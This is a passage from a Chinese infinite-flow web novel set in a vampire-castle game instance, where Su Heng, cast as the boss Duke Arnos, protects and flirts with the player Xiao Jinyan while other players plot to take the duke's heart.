宿珩的眉心轻轻蹙了一下。 他睁开眼,目光落在书桌上摊开的一本古老相册上。 随后伸出手,翻开了那本相册。 相册里,贴着一张张黑白的老照片。 照片上,是同一个穿着白色蕾丝礼服的,脸色苍白的年轻贵族。 是“阿诺斯公爵”。 他时而站在古堡的窗前,神情忧郁地眺望远方。 时而坐在钢琴前,指尖轻抚琴键。 每一张照片里的他,都俊美得如同画中人,却也孤独得像个幽灵。 宿珩一页一页地翻看着,直到最后一页。 那是一张双人合照。 照片上,“阿诺斯公爵”不再是一个人。 他的身边,站着一个穿着黑色风衣,身形高大的男人。 那个男人背对着镜头,只留给世界一个模糊的,看不清面容的背影。 可宿珩还是一眼就认了出来。 那是肖靳言。 照片的下方,用漂亮的羽毛笔,写着一行娟秀的小字。 【我的爱人,我的晚餐。】 宿珩看着那行字,指尖无意识地,在照片上那个高大的背影上,轻轻摩挲着。 他忽然明白了。 这个所谓的“血色古堡”的副本,并非单纯的杀戮游戏。 它是一个不断重复的,充满了绝望与悲剧的循环。 阿诺斯公爵爱上了不该爱上的猎物,最终却不得不亲手将他吞噬。 而这份爱与绝望,又成了滋养这座古堡,让悲剧一次又一次重演的养料。 肖靳言,就是被这个循环选中的,新的“猎物”。 而宿珩自己,则成了那个执行悲剧的,新的“阿诺斯公爵”。 他需要打破这个循环。 就在这时,书房的门,被人从外面轻轻叩响了。 是那个女仆的声音。 “公爵大人,您的‘晚餐’……已经准备好了。” 第99章 第 99 章 世界的悲鸣6 书房的门在身后无声地合上。 宿珩没有立刻回自己的房间, 而是站在原地,听着女仆的脚步声沿着走廊远去。 那声音里,透着一种即将见证一场盛宴的, 病态的兴奋。 空气里那股腐朽的冷香,似乎又浓郁了几分。 宿珩抬手,解开了领口那圈僵硬的蕾丝花边, 又松开了最上面的两颗珍珠纽扣,让冰冷的空气得以接触到皮肤,驱散那股若有似无的窒息感。 随后转身走向主卧。 房间的门虚掩着。 推门而入后, 一股混杂着潮湿水汽和某种木质清香的陌生气息, 扑面而来, 冲淡了房间里原本的冷香。 昏黄的烛光下。 一个高大的身影正赤着上身,站在那面巨大的穿衣镜前。 他下身只松松垮垮地围了一条浴巾。 水珠正顺着他宽阔的脊背, 沿着那道流畅而结实的肌肉线条,一路向下,没入浴巾的边缘。 这人自然是刚洗完澡的肖靳言。 他似乎完全没把这里当成龙潭虎穴,姿态放松得像是回了自己家。 听见开门声, 他手上擦拭头发的动作停也没停, 只是透过镜子, 将一道懒洋洋的视线投了过来。 “公爵大人。” 他开口, 声音带着刚出浴的沙哑,腔调拉得又长又慢, 每个字都裹挟着毫不掩饰的调侃。 “你这儿的待客之道,还挺周到的。” 宿珩没理他, 径直走到那张巨大而华丽的复古大床边,坐了下来。 他看着镜子前那个赤裸着精壮上身的男人,看着他流畅的肩线, 结实森*晚*整*理的窄腰,还有那双被浴巾半遮半掩的,修长笔直的腿。 这具身体,充满了年轻的,蓬勃的,几乎要满溢出来的生命力。 想到三天前的那一夜,宿珩的喉结不禁上下滚动了一下。 他移开视线,声音平淡无波。 “穿好衣服。” “穿什么?” 肖靳言终于停下了手里的动作,他随手将毛巾丢在一旁,转过身,好整以暇地倚靠在衣柜上,双臂环胸。 这个动作,让他胸前那两块饱满的肌肉绷得更紧了。 他冲着衣架的方向,抬了抬下巴,那上面挂着一件质地轻薄的白色丝绸睡袍。 “穿那个吗?” “然后躺到床上来,乖乖等着被你‘享用’?” 他把“享用”两个字,咬得极重,那双黑沉的眼眸里,翻涌着兴味与挑衅。 宿-珩没说话。 他只是沉默地看着他,那副姿态,本身就是一种不容置喙的命令。 两人隔着一室昏黄的光影,无声对峙。 最终,还是肖靳言先动了。 他嗤笑一声,倒也没再继续挑战宿珩的耐心,转身从衣架上取下了那件丝绸睡袍。 他慢条斯理地将睡袍穿上,松松地系了个带子。 然后,肖靳言才一步一步地,朝着床边走了过来。 他走得很慢,每一步都像是故意踩在宿珩的心跳上,带着一股极具侵略性的压迫感。 最终,他停在了床前。 一股混杂着水汽的,滚烫的男性气息,铺天盖地地,将宿珩笼罩。 “我来了。” 肖靳言微微俯下身,双手撑在宿珩身体两侧的床垫上,将他整个人都圈在了自己的阴影里。 两人的距离,瞬间被拉到了一个危险的极致。 宿珩甚至能看清他湿漉漉的眼睫上,挂着的那颗将落未落的水珠。 “然后呢?” 肖靳言的呼吸,温热地,喷洒在宿珩的脸颊上。 “公爵大人,你打算怎么享用你的‘晚餐’?” 他的声音压得很低,带着一种恶劣的,引诱般的磁性。 宿珩微微仰起脸,迎上他那双近在咫尺的,仿佛能将人吸进去的深邃眼眸。 他没有回答肖靳言的问题。 而是伸出手,用一种近乎冰冷的,不带任何情欲的姿态,探进了肖靳言那件松垮的睡袍里。 指尖触碰到一片滚烫紧实的肌肤。 肖靳言的身体,瞬间僵了一下。 他能感觉到—— 那只微凉的手,正带着一股不疾不徐的力道,在他的腰腹上,缓缓游走。 最后,停留在了他心脏的位置。 与此同时。 隔着一层薄薄的肌肉,宿珩能清晰地感觉到,掌心之下,那颗强健的心脏,正在有力地跳动着。 一下,又一下。 充满了生命力。 也充满了……诱惑。 【在您的客人情意最浓时,享用那颗温热的,跳动的心脏,会更加美味】 那道冰冷的规则,再次在宿珩的脑海里,清晰地浮现。 肖靳言没有动。 他只是垂着眼,看着宿珩那张在昏暗烛光下,苍白得近乎透明的脸。 看着他那双总是像覆着一层薄冰的眸子,此刻正专注地,倒映着自己的身影。 那里面没有恐惧,没有欲望,更没有属于猎人的,残忍的贪婪。 有的,只是一种他暂时还无法完全读懂的,复杂而深沉的情绪。 许久之后。 肖靳言忽然低低地笑了一声,打破了这片暧昧又诡异的寂静。 “公爵大人?” 他抬起另一只手,用指腹,轻轻蹭过宿珩的侧脸,动作轻佻,眼神却深沉。 “您是在找下刀的地方吗?” “还是要……先做点别的前/戏,培养一下‘感情’?” 宿珩的手,依旧停留在他的心口。 听到他这句不知死活的调侃,宿珩的脸上,终于出现了一丝细微的,不属于“阿诺斯公爵”的情绪波动。 那是一种混杂着无奈与恼怒的神情。 他收回手。 然后在肖靳言错愕的注视下,宿珩抓住了他的手腕,一个用力。 两人的位置,瞬间颠倒。 肖靳言被一股不容抗拒的力道,狠狠地,拽倒在了那张柔软的大床上。 而宿珩,则翻身而上,居高临下地,跨坐在了他那紧实的腰腹之上。 这个姿势,与不久前,在地下训练室里的一幕,诡异地重合了。 肖靳言的呼吸,猛地一滞。 他看着跨坐在自己身上,神情依旧清冷的宿珩,看着他那件做工繁复的白色绅士礼服,因为这个动作,而显得有些凌乱。 他忽然感觉。 自己那颗刚才还跳得沉稳有力的心脏,在这一刻,彻底乱了节奏。 “你……” 肖靳言刚想说些什么,后面的话,却全都被堵了回去。 因为宿珩俯下了身。 他的双手,撑在了肖靳言的耳侧,一错不错地,锁着那双黑沉的,已经染上了几分惊愕的眼眸。 “闭嘴。” 宿珩的声音,很轻,却带着一种不容置疑的命令。 “还有……” 他顿了顿,冰凉的指尖,顺着肖靳言的下颌线,一路向上,最终,轻轻捏住了他的下巴。 “别用那种眼神看我。” 那双清冷的眸子里,翻涌着肖靳言看不懂的,晦暗的情绪。 “不然,我真的会忍不住……” “现在就吃了你。” 听到这句贴着耳边说出的威胁。 肖靳言那双总是带着几分野性不羁的黑沉眼眸里,非但没有半分惊慌,反而亮起了一簇极具兴味的火焰。 他非但没躲,反而微微抬了抬下巴,将自己脆弱的脖颈,更加彻底地,暴露在了宿珩的面前。 “那就吃啊。” 肖靳言的喉结上下滚动了一下,唇角缓缓向上勾起,扯出一个危险又痞气的笑。 他看着宿珩那张在昏暗烛光下,苍白得过分的脸,声音压得极低,带着一种近乎恶劣的,引诱般的沙哑。 “公爵大人,你还在等什么?” 这句话,像一根被点燃的引线,让房间里那股本就紧绷的氛围,瞬间变得更加剑拔弩张。 宿珩没有动。 他只是维持着那个居高临下的姿势,一错不错地,用那双清冷的眼眸,牢牢地锁着身下的男人。 他能感觉到。 肖靳言的身体,看似放松地躺在那里,任由他摆布。 可在那层薄薄的丝绸睡袍之下,每一寸肌肉,都像一张被拉到极致的弓,紧绷着,充满了蓄势待发的爆发力。 他不是猎物。 他是一头伪装成猎物的,随时准备反咬一口的狼。 宿珩轻轻蹙了蹙眉。 他忽然意识到,自己面对的,不是那个会用无奈的笑容纵容着他的肖靳言。 这是一个更年轻,更锋利,也更危险的肖靳言。 是一个在无限世界里,从尸山血海中独自杀出来的,真正的疯子。 而他现在,正在用这种方式,挑衅着这个疯子。 【在您的客人情意最浓时……】 那道冰冷的规则,如同跗骨之蛆,再次在脑海里响起。 情意。 宿珩的视线,缓缓下移。 落在了肖靳言那松松垮垮系着的,丝绸睡袍的衣带上。 然后,他当着肖靳言的面,伸出手,用一种不带任何情欲的动作,轻轻一扯。 衣带散开。 那件唯一的遮蔽物,向两侧滑落。 一副精壮结实,充满了蓬勃生命力的年轻□□,就这样毫无遮挡地,彻底暴露在了空气里。 肖靳言任由他摆布,眼中的兴味,却更浓了。 “这才对嘛。” 他甚至还低笑了一声,那笑声在寂静的房间里,显得格外清晰。 “这才像是要‘用餐’的样子。” 宿珩没有理会他的垃圾话。 他的手指,顺着那道一路向下延伸的腹肌线条,缓缓划过。 指尖所到之处,激起一片滚烫的战栗。 肖靳言脸上的笑容,终于有了一丝细微的僵硬。 他能感觉到,宿珩的指尖很凉,像一块上好的冷玉。 可那点冰凉的触感,落在他滚烫的皮肤上,却像是一簇被丢进干柴里的火星,瞬间点燃了一片燎原的野火。 一股陌生的,不受控制的燥热,从尾椎骨的位置,猛地窜了上来。 “你……” 肖靳言刚想开口说些什么。 宿珩却像是预判了他的动作一般,俯下身,将脸埋在了他的颈窝处。 冰凉的鼻尖,轻轻蹭过他脖颈上那根因为紧张而微微凸起的,脆弱的血管。 温热的呼吸,尽数喷洒在那片敏感的肌肤上。 肖靳言的身体,猛地一僵。 整个人都像是被按下了暂停键。 “别动。” 宿珩的声音,闷闷地,从他的颈窝处传来。 那声音依旧很轻,很冷,却带着一丝他自己都未曾察觉的,细微的颤抖。 鬼使神差地,肖靳言放弃了取出道具的冲动,真的没再动。 他只是僵硬地躺在那里,任由那个陌生的“公爵大人”,在他的脖颈间,像一只正在确认猎物身上最脆弱部位的野兽,细细地嗅闻。 一股干净又疏离的冷香,蛮横地,钻进了他的鼻腔。 那不是古堡里那种腐朽的味道。 而是一种……很特别的,让他莫名觉得有些熟悉的味道。 时间,一分一秒地流逝。 房间里,只剩下两人交错的,越来越重的呼吸声。 就在肖靳言快要忍不住,准备直接掀翻身上这个不知所谓的“公爵”的时候。 宿珩忽然抬起了头,挑衅般地凝视着他黑沉的瞳孔。 “你……” “有反应了……” 这句话极其突兀。 肖靳言明显愣了一下,但仍嘴硬说道:“年轻气盛,正常反应而已。” 他挑了挑眉,那双黑沉的眼眸里,重新燃起了那种熟悉的,极具侵略性的光。 “难道你没有反应?” 他一边说着,一边抬手,直接抓住了绅士礼服下同样的生机勃勃。 宿珩没料到他会如此主动,分神之际,那只骨节分明,充满了力量感的大手,忽然一松,随后精准地扣住了宿珩的手腕。 然后,一个用力。 宿珩只觉得眼前一花。 等他回过神来的时候,两人的位置,已经发生了天翻地覆的逆转。 他被肖靳言死死地,压在了那张柔软的天鹅绒大床上。 而那个前一秒还被他压在身下的男人,此刻正撑在他的上方,用带着强烈压迫感的目光,俯视着他。 肖靳言的嘴角,勾起一抹得逞的,恶劣的笑。 “现在能换个说法了吗?公爵大人。” 他低下头,将两人的距离,拉到比刚才还要危险的境地,温热的呼吸几乎要烫伤宿珩的脸颊。 “有反应的人,到底是谁?” 宿珩没有说话。 他只是安静地躺在那里,那双清澈的眼眸里,清晰地倒映着肖靳言那张年轻又张扬的脸。 那里面没有惊慌,没有愤怒,甚至没有一丝一毫的,属于“猎物”的恐惧。 只有一片让人感到陌生的,平静的深海。 这不对劲。 肖靳言脸上的笑容,慢慢敛了下去。 他玩过无数个副本,见过形形色色的BOSS。 有残忍的,有狡猾的,有疯狂的。 可他从未见过像宿珩这样的。 明明扮演着猎人的角色,身上却没有一丝一毫的,属于“恶”的气息。 那双眼睛,干净得像一汪被冰封的湖。 太干净了。 干净到……与这座充满了肮脏与绝望的古堡,格格不入。 肖靳言凝望着那双眼,沉声问道:“你到底是什么东西?” 不等宿珩回应,就在这时—— 一阵轻微的“吱呀”声,从门外响了起来。 声音很轻,像一只偷腥的老鼠,在黑暗中悄悄移动。 有人在门外。 肖靳言的眼神,瞬间一凛。 他几乎是下意识地,立刻就要翻身下床。 可他还没来得及动,一只微凉的手,却忽然伸了过来,轻轻地,盖住了他的眼睛。 “别看。” 宿珩的声音,很轻,像一阵拂过耳畔的风。 “也别出声。” 那只手,不大,甚至可以说是纤细。 可当它覆在自己眼上的那一刻,肖靳言却莫名地,真的停下了所有的动作。 眼前陷入了一片黑暗。 视觉被剥夺,听觉变得前所未有的敏锐。 他能清晰地听到,门外那个脚步声,正在一点一点地,朝着房门靠近。 最终,停在了门口。 紧接着。 一声极其细微的,像是用指甲刮擦门板的“沙沙”声,响了起来。 一下,又一下。 在寂静的夜里,显得格外刺耳,也格外诡异。 肖靳言的身体,在一瞬间绷紧了。 他很清楚。 门外的,绝对不是那个女仆,更不可能是餐厅里那群被吓破了胆的玩家。 那是……这个副本里,真正隐藏的危险。 而现在。 这个危险,似乎被吸引了过来。 第100章 第 100 章 世界的悲鸣7 门锁发出一声极轻的“咔哒”声。 那不是用钥匙打开的声音, 更像是锁芯内部的金属结构,被一股无形的力量,强行扭曲、错位。 随即, 厚重的房门被推开了一道缝隙。 “吱呀——” 那声音在寂静的房间里,被放大了无数倍。 紧接着,一个没有固定形态的, 纯粹由黑暗构成的影子,从门缝里,一点一点地, 挤了进来。 它移动得极其缓慢, 每挪动一寸, 空气里那股腐朽的冷香便会浓郁一分,带着一种能将活物逼疯的阴冷恶意。 肖靳言能感觉到, 覆在自己眼睛上的那只手,很稳。 可他自己的眼皮,却在掌心之下,不受控制地剧烈跳动起来。 来了。 这个副本中, 除了明面上的公爵外, 一直潜伏在暗处的, 真正致命的危险。 一种被顶级掠食者盯上的阴冷感, 让肖靳言全身的肌肉都在瞬间绷紧到了极致。 身体的本能在疯狂叫嚣着危险。 可鬼使神差地。 肖靳言没有动。 他选择了相信宿珩的话。 黑影拖着黏腻的身体,悄无声息地, 挪到了床边。 它停了下来。 那团最浓郁的黑暗里,仿佛裂开了两道空洞的缝隙, 用一种充满了贪婪与渴望的目光,“看”向床上那具充满了生命力的,年轻肉/体。 宿珩抬起头, 迎上了那道视线。 他的表情没有丝毫变化,那双清冷的眼眸里,甚至比那团黑影还要冰冷,还要空洞。 “这是我的人。” “给我滚。” 黑影似乎没想到,公爵竟敢反悔。 它那不成形的身体,剧烈地翻涌了一下,发出一阵沙哑得如同砂纸摩擦的嘶鸣。 【心脏……只有心脏,是你的……】 【肉/体……是我的……】 那声音不像是通过空气传播,而是直接在人的脑海里响起,带着一种能污染心智的,疯狂的杂音。 宿珩闻言,忽然笑了。 那是一个极尽嘲讽的,冰冷的笑。 他甚至懒得再多说一个字,只是抬起眼,静静地看着那团黑影。 就在这一瞬间. 肖靳言感觉到,覆在自己眼上的那只手,似乎变得更凉了。 而那个站在床边的黑影,则像是被一只无形的大手狠狠攥住,猛地扭曲成一个怪异的形状。 【呃啊——!】 它发出一声凄厉的惨叫,那声音里充满了痛苦与难以置信。 作为这个副本的BOSS之一,阿诺斯公爵的意志,就是这里的绝对规则。 并且……比黑影还强。 而宿珩,正是巧妙地借用了这份力量。 那团黑影以肉眼可见的速度,迅速暗淡了几分,仿佛被凭空蒸发掉了一部分。 它怒目而视,却不敢再停留,飞快朝着门口退去。 就在黑影即将逃出房门的瞬间,宿珩的声音,再次不紧不慢地响了起来。 “关门。” 那团本已退到门外的黑影,猛地一滞。 它身上的黑暗,又是一阵剧烈的翻涌,那感觉,简直像是被气到快要吐血。 可它不敢违抗。 最终,那扇被它弄开的门,在它不甘的意志下,“砰”地一声,重重关上。 房间里那股令人作呕的恶意,终于彻底消失。 世界,重新恢复了寂静。 下一秒。 肖靳言猛地抬手,一把抓住了宿珩的手腕,将那只碍事的手从自己眼前拿开。 他翻身坐起,那件唯一的遮蔽物早已在刚才的对峙中散落一旁,此刻的他,可以说是不着寸缕。 他看着眼前这个依旧维持着冷静姿态的“公爵”,看着他那张苍白俊美的脸,心里的疑惑,已经浓郁到了极点。 这个BOSS,太奇怪了。 还有刚才那东西的恶意,纯粹而强大,绝不是一个C级副本该有的强度。 可这个BOSS,却能轻而易举地将其驱逐。 他身上到底藏着什么秘密? 肖靳言的嘴唇动了动,刚准备开口。 可他所有的疑问,都还没来得及问出口。 因为眼前的公爵,忽然动了。 毫无预兆地,宿珩猛地将他重新推倒回那张柔软的天鹅绒大床上。 不等肖靳言做出任何反应。 宿珩便俯下身,一头埋进了他的颈窝,对准那根因为错愕而上下滚动的喉结,毫不犹豫地,一口咬了下去。 那不是为了吸血,更不是为了撕裂。 没有刺破皮肤,却带着一种不容拒绝的,宣示主权般的力道。 像一头野兽,在自己的所有物上,烙下独一无二的,不容旁人觊觎的齿痕。 肖靳言整个人,都僵住了。 一股比刚才那只怪物出现时,还要陌生的,酥麻的电流,从脖颈处被啃咬的位置,瞬间窜遍了四肢百骸。 脖颈处被啃咬的地方,不疼。 却像被炭火烙过,留下了一片滚烫酥麻的触感,顺着血管,一路烧到了心脏。 他在无限世界里什么妖魔鬼怪没见过,什么血腥场面没经历过。 可像这样,被人按在床上,结结实实地,在脖子上啃了一口,还是破天荒的头一遭。 许久之后,宿珩终于松开了嘴。 他抬起脸,那双清冷的眸子在昏黄的烛光下,显得有些幽深。 他看着身下男人那副因为过度震惊而呆愣住的模样,看着他脖颈上那个带着占有欲的牙印,心底那股烦躁,总算被抚平了一些。 房间里陷入了一种诡异的死寂。 直到肖靳言忽然动了。 他抬起手,用指腹,不轻不重地,在那片还带着湿润触感的牙印上,缓缓摩挲了一下。 随即,他笑了。 不是那种带着挑衅的痞笑,而是一种掺杂了太多兴味的,几乎要将人看穿的笑。 “公爵大人。” 他开口,声音因为刚才的僵持,带着一丝低哑的磁性。 “这就是你的‘用餐’方式?” “光啃一口,可填不饱肚子。” 肖靳言挑了挑眉,那双黑沉的眼眸里,重新燃起了那种熟悉的,极具侵略性的光。 “不撕块肉下来,我可不认账。” 宿珩的眼皮跳了一下。 他面无表情地从肖靳言身上翻了下来,随后站到床边,慢条斯理地整理了一下自己那件因为刚才的“意外”而略显凌乱的礼服。 他重新变回了那个姿态矜贵,神情疏离的阿诺斯公爵。 “睡觉。” 宿珩丢下两个字,准备离开这里去书房。 “等等。” 肖靳言坐了起来,那件丝绸睡袍被他捡了起来,重新松松垮垮地挂在身上,但仍露出大片结实的胸膛。 他没有再用那种轻佻的语气,神情变得前所未有的认真。 “你咬我,却不下死手,更像是在……标记所有物。” “你身上既没有副本鬼怪身上特有的腐臭味,也没有玩家的惊恐。” “你和这座古堡格格不入。” 肖靳言,用审视的目光,将宿珩从头到脚打量了一遍。 “要么你不是真正的阿斯顿公爵……” “要么……你对我……一见钟情了?” 听到他的猜测,宿珩的脚步蓦地停住了。 他没有回头,只是留给了肖靳言一个清瘦挺拔的背影。 半晌后,他才用一种听不出情绪的,平淡的语调开口。 “你想多了。” 这个回答,完美地契合了“阿诺斯公爵”那霸道又偏执的人设,却又像一层薄雾,将所有真相都掩盖了起来。 肖靳言看着那个背影,眼中的探究非但没减少,反而愈发浓郁。 他不再追问。 这个“公爵”浑身都是谜,但有一点他很确定—— 对方暂时对他没有杀意。 这就够了。 肖靳言大大方方地躺在了床上,甚至还很自觉地,将被子拉过来盖好。 他闭上眼,呼吸很快就变得平稳而深沉,像一个真正睡熟了的人。 宿珩看着床上那个隆起的轮廓,心里却没有半分放松。 他知道,那家伙没睡。 那是一头狼。 一头在黑暗里潜伏了太久,习惯了用各种姿态来伪装自己,随时准备对猎物,或者危险,发动致命一击的狼。 而现在,这头狼,已经对他产生了浓厚的兴趣。 看着他这副模样,宿珩慢悠悠地翘起了嘴角。 忽然。 一道极低的声音,在寂静的房间里,突兀地响了起来。 “我以前,是不是见过你?” 肖靳言终究还是没能忍住,他睁开了眼,那双深不见底的黑眸紧盯着宿珩。 那不是试探。 而是一种近乎直觉的……确信。 宿珩的身体,几不可察地,僵硬了一瞬。 他没有立刻回答。 房间里的空气,仿佛在这一刻凝固了。 肖靳言也不催促,只是安静地等待着一个答案。 许久之后。 宿珩才缓缓睁开眼,他没有去看肖靳言,视线落在了窗外那轮残月上,声音清冷得像月光下的冰。 “你的错觉。” …… 与此同时。 古堡一楼的某间客房内,几个幸存的玩家正聚在一起,压低了声音,交头接耳。 “那家伙……上去多久了?” “快一个小时了吧?” “估计早就凉透了。” 有玩家嗤笑一声,脸上带着几分幸灾乐祸。 “真当这是来泡妞呢?也不看看自己几斤几两,敢那么挑衅BOSS。” “话也不能这么说。” 这时,坐在角落里,一个表现得极其镇定的那个男人,忽然开了口。 在这群玩家中,他是为数不多的经验丰富的独行玩家。 “这只是个C级副本,如果那小子手里有足够强力的保命道具,说不定真能撑上一时半会,甚至……逃出来。” “逃出来又怎么样?” 一个胆小的玩家哆哆嗦嗦地问,“这个副本……到底要怎么才能通关啊?我不想再待在这里了!” 这个问题,让房间里的气氛再次陷入了一片沉寂。 是啊,怎么通关? 他们被困在这里,除了知道那个公爵会吃人心脏外,其他的一概不知。 连任务提示都没有。 独行玩家看着众人脸上那副茫然又恐惧的表情,没有直接回答。 他只是慢条斯理地,从口袋里摸出一把小巧的,泛着银光的匕首,放在指尖把玩。 烛火下,那匕首的刃口,闪烁着森然的寒光。 半晌后,他才抬起眼,意味深长地,吐出了一句话。 “每一个猎杀型副本,都有一个不变的通关法则。” 众人忙问:“什么法则?” 男人冷笑了声:“杀了那个猎人。” 他的视线,缓缓扫过在场的每一个人,声音压得极低。 “想要活下去,就得想办法……取出那位公爵大人的心脏。” “取出公爵的心脏?” “可是……我们要怎么做?” 一个玩家绝望地问:“我们连他房间的门都进不去,难不成要硬闯吗?” “谁说要硬闯了?” 独行玩家冷笑一声,从怀里摸出了一样东西,轻轻放在了桌上。 那是一面巴掌大小的,边缘雕刻着繁复花纹的古朴铜镜。 “这是我在上个副本里得到的特殊道具,‘窥伺之镜’。” “只要知道对方的名字,就能通过这面镜子,窥探到他内心最深处的一角隐秘,或者……弱点。” 众人的眼睛,瞬间都亮了。 “那我们还等什么!快用啊!” 独行玩家却没有立刻行动,他抬起眼,看向众人,嘴角勾起一抹意味深长的笑。 “我凭什么要帮你们?” 他慢条斯理地说:“这个道具,一个副本只能用一次,珍贵得很。你们……能拿出什么来交换?” 众人脸上的喜悦,瞬间僵住。 房间里陷入了一片尴尬的沉默。 他们都是些刚进无限世界不久的新人,身上哪有什么像样的道具。 就在气氛快要凝固的时候,终于有个玩家一咬牙,从口袋里掏出了一把黑沉沉的□□,重重地拍在了桌上。 “这个,够不够?” 独行玩家瞥了一眼那把□□,眼神里闪过一丝不屑,但还是点了点头。 “勉强够了。” 他收起□□,然后拿起那面铜镜,用餐巾擦了擦镜面。 “公爵的名字,叫阿诺斯。” 独行玩家闭上眼,将精神力缓缓注入铜镜,嘴里低声念诵着那个名字。 “阿诺斯……阿诺斯……” 片刻之后。 那面原本模糊的铜镜,镜面上忽然荡开了一圈圈水波般的涟漪。 一幅诡异的,血红色的画面,缓缓浮现。 那是在一个华丽的,铺着天鹅绒的房间里。 年轻的公爵,正站在床边。 而他的床上,躺着一个穿着黑色风衣的,看不清面容的男人。 公爵的脸上,带着一种混杂了爱意与绝望的,痛苦的神情。 他的手里,握着一把锋利的,闪着银光的匕首。 匕首的尖端,正对准了床上那个男人,心脏的位置。 紧接着。 画面一转。 公爵跪在地上,怀里抱着那个已经冰冷的,失去了心脏的男人,发出了无声的,绝望的悲鸣。 他的眼角,滑下了两行触目惊心的血泪。 画面到此,戛然而止。 铜镜重新恢复了古朴的模样。 房间里,死一般的寂静。 所有人都被刚才那幅画面惊得说不出话来。 “公爵内心最深处的隐秘……就这?” “这能看出什么东西啊?” “你们都给我闭嘴,我想……我看明白了……” 有人率先反应了过来。 “阿诺斯公爵,他爱上了自己的猎物!” “他的弱点,就是那个躺在床上的男人!” “不。” 独行玩家却摇了摇头,他的脸色比任何时候都要凝重。 “你们没看清吗?” “那个男人,已经死了。” 独行玩家郑重地说:“公爵的弱点,是他那份无法宣泄的,已经扭曲了的爱意和绝望。” “要想这个副本达成S级成就,就必须在取出他的心脏前……让他再经历一次同样的绝望。” 独行玩家缓缓抬头,嘴角露出狰狞的笑。 “现在,正有一个新的‘猎物’,躺在他的床上。” “我们只需要……帮他一把。” 一个恶毒的,充满了血腥味的计划,在众人心底,悄然成形。 100-110 第101章 第 101 章 世界的悲鸣8 宿珩把宽敞的卧房留给了肖靳言。 他转身离开, 挺拔清瘦的背影消失在门外幽暗的长廊里。 墙壁上,那些属于历代主人的肖像画,依旧用一种死寂的目光, 无声地注视着他。 宿珩顺着长廊回到书房,走到那张巨大的书桌后,拉开雕花椅背的椅子, 坐了下来。 烛火摇曳,在他的脸上投下明明灭灭的光影。 他再次翻开了桌上那本摊开的古老相册。 就在这时。 他身后的阴影,开始无声地蠕动。 一团黑影, 缓缓从墙角的阴影里浮现了出来。 【你为什么……】 沙哑的嘶鸣, 直接在宿行的脑海里响起, 带着极致的不甘与怨毒。 【你为什么不吃了他?】 黑影的身体比最初时暗淡了不少,但它仍剧烈地翻涌着, 那团最浓郁的黑暗里,仿佛裂开了一道空洞的缝隙,死死地“盯”着宿珩的后背。 【那是为你准备的,最完美的祭品!】 【充满了生命力的, 温热的□□!】 【只要吃了他, 你的力量会变得更强!我们……会变得更强!】 耳边的声音宛如恶魔的呢喃。 但宿珩并未回头, 甚至连翻动相册的动作都没有停顿一下。 仿佛身后那个散发着无尽恶意的怪物, 不过是一团无足轻重的空气。 他这种彻底的无视,比任何激烈的言语都更具羞辱性。 黑影身上的黑暗翻涌得更加剧烈, 几乎要控制不住地扑上来。 可就在这时。 一阵极其轻微的,刻意压制起来的脚步声, 从门外的走廊里响了起来。 那声音很轻,很谨慎,而且……不止一个人。 宿珩的动作终于停了下来。 他甚至都不用想, 就知道门外的是谁。 那群不甘寂寞的玩家们。 宿珩还没做出任何反应,他身后的那团黑影却像是闻到了血腥味的鲨鱼,瞬间安静了下来。 下一秒,那团黑影便迫不及待地朝着书房门口的方向,无声地飘了过去。 它身上散发出的,是那种即将享用美食的,病态的兴奋与贪婪。 宿珩抬头平静地看着它。 就在黑影即将触碰到门把手的那一刻,他不紧不慢地开了口。 “在我没享用他们的心脏前,你没有权利,剥夺他们的生命。” 那道声音很轻,却像一道无形的枷锁,瞬间将那团黑影钉在了原地。 黑影猛地转过身,那团黑暗因为极致的愤怒而剧烈地扭曲着,几乎要撕裂开来。 【那要我怎么办?!】 它在宿珩的脑海里,发出了愤怒的嘶吼。 【难道就眼睁睁地看着他们,来亵渎我们的领地吗?!】 “打个半死。” 宿珩终于合上了相册。 他靠在椅背上,瞥了一眼那团快要气炸了的黑影。 他那双清冷的眸子里,没有一丝一毫的森*晚*整*理温度。 “然后……全都丢到楼下去。” 【你——!】 黑影被他这句轻描淡写的命令,气得整个身体都膨胀了一圈。 但它身上那股滔天的怒火,在对上宿珩那双冰冷的眼眸时,却像是被一盆冰水当头浇下,瞬间熄灭了大半。 它不敢违抗。 在这个心门世界里,阿诺斯公爵的意志,就是绝对的规则。 而它……只是附属品,只能屈居第二。 最终,那团黑影只能从牙缝里,挤出一个充满了憋屈与怨愤的音节。 【……知道了。】 话音落下,它便化作一缕黑烟,不甘地,慢慢隐没在了门缝下的黑暗中。 书房里,重新恢复了死寂。 …… 与此同时。 卧房之内。 肖靳言并没有睡。 那件丝绸睡袍松松垮垮地挂在他身上,被子只盖到了腰腹。 他的一只手,看似随意地搭在被子外面,实则手心里,已经握住了一柄从系统空间取出的,通体漆黑的短刀。 门外的脚步声自然瞒不过他。 但……同情心,是在这个该死的世界里,最要不得的东西。 肖靳言刚被拉进无限世界才三个月。 这段时间里,他经历过好几个D级和E级的副本,见识过各种各样,死法凄惨的玩家。 但那些副本毕竟简单,敌人永远是一些明确的非人怪物。 玩家们虽然也会有摩擦,有争执,但大敌当前,终归还是会选择一致对外。 但这次却不一样。 这是他进入的第一个C级副本。 也正是这个副本,从一开始,就让他第一次如此清晰地,感受到了来自同类的,赤/裸/裸的恶意。 那些玩家看他时的眼神,他记得很清楚。 有同情,有惋惜…… 但更多的,是幸灾乐祸,和一种“死道友不死贫道”的庆幸。 明明大家都是被困在这里的,随时可能死去的“猎物”。 明明是同一阵营。 可总有人,为了那一点虚无缥缈的,更高的积分,更好的道具,不惜去牺牲同伴的性命,来达成自己的目的。 这种自相残杀的戏码,让他感到一种发自内心的……厌恶与烦躁。 就在这时。 一阵极其细微的,像是用刀尖撬动门锁的声音,从门外的走廊里清晰传了过来。 来了。 肖靳言的眼神,瞬间变得冰冷而锋利。 他握着短刀的手,紧了紧。 那群家伙,终究还是按捺不住了。 紧接着,是几句压得极低的,充满了贪婪与兴奋的窃窃私语。 “就是这里了。” “那个不知死活的家伙,肯定已经被公爵吸干了,现在说不定就剩一具干尸。” “小点声,别让公爵发现……” 后面的话,肖靳言已经懒得再听。 他眼底的最后一丝温度,也彻底消失了。 他见过贪婪的,见过自私的,却没见过愚蠢到这种地步的。 真当那位喜怒无常的“阿诺斯公爵”是死的吗? 就在肖靳言准备翻身下床,给门外那群不知死活的家伙一个终生难忘的教训时。 门外,却忽然响起了一阵惊恐到极致的,变了调的尖叫声。 “啊——!这是什么东西!” “救命!救命啊!” 尖叫声戛然而止。 取而代之的,是几声沉闷的,重物坠地的声音。 “砰!” “砰——” 